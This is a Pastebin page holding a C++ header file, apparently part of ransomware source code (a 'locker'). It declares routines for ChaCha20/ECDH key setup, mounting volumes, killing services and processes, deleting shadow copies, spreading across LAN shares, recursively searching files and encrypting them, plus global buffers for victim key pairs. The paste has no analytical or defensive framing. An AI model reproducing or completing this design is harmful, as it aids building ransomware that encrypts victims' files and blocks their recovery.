Advertisement
FlyFar

main.h

Mar 24th, 2024
652
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.54 KB | Cybersecurity | 0 0
  1. #ifndef __LOCKER_MAIN__
  2. #define __LOCKER_MAIN__
  3.  
  4. #include "libs/TinyECDH/ecdh.h"
  5. #include "libs/ChaCha20/chacha20.h"
  6. #include "libs/SHA256/sha256.h"
  7.  
  8. #define DEBUG
  9. #ifdef DEBUG
  10.     #include <stdio.h>
  11. #endif
  12.  
  13. #define ARRAY_SIZE(x) (sizeof(x) / sizeof(x)[0])
  14.  
  15. //-- Core functions
  16. BOOLEAN ChaChaKey1Setup();
  17. VOID ECDHPrivateKeySetup(BYTE *input, int incount);
  18. VOID MountVolumes();
  19. VOID ServiceFucker();
  20. VOID ProcessFucker();
  21. VOID ShadowFucker();
  22. VOID SearchLAN(LPNETRESOURCEW resourcename);
  23. DWORD WINAPI SearchFilesThreaded(LPVOID lpParam);
  24. VOID SearchFiles(WCHAR *pathname, int layer);
  25. VOID CryptFile(const WCHAR *filename);
  26.  
  27. //-- Util functions
  28. BOOL myIsWow64Process();
  29. PCHAR *CommandLineToArgvA(PCHAR CmdLine, int *_argc);
  30. LPVOID myHeapAlloc(int len);
  31. VOID   myHeapFree(LPVOID mem);
  32.  
  33. //-- Unmanaged imports
  34. typedef BOOL WINAPI(*pdef_IsWow64Process)(HANDLE hProcess, PBOOL bResult);
  35. typedef BOOL WINAPI(*pdef_Wow64DisableWow64FsRedirection)(PVOID *OldValue);
  36. typedef BOOL WINAPI(*pdef_Wow64RevertWow64FsRedirection)(PVOID OldValue);
  37. typedef BOOLEAN WINAPI(*pdef_RtlGenRandom)(PVOID RandomBuffer,ULONG RandomBufferLength);
  38.  
  39. //-- Global variables
  40. BYTE CHACHA20KEY_1[88];
  41. BYTE CHACHA20KEY_2[44];
  42.  
  43. BYTE CHACHA20_FINAL_KEY_1[32];
  44. BYTE CHACHA20_FINAL_KEY_2[32];
  45.  
  46. BYTE CHACHA20NONCE_1[12];
  47. BYTE CHACHA20NONCE_2[12];
  48.  
  49. BYTE CHACHA20_FINAL_NONCE[12];
  50.  
  51. BYTE VICTIM_ECDH_PUBLIC_KEY[ECC_PUB_KEY_SIZE];
  52. BYTE VICTIM_ECDH_PRIVATE_KEY[ECC_PRV_KEY_SIZE];
  53.  
  54. BYTE ECDH_SHARED_SECRET[ECC_PUB_KEY_SIZE];
  55.  
  56. CRITICAL_SECTION critSection;
  57.  
  58. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement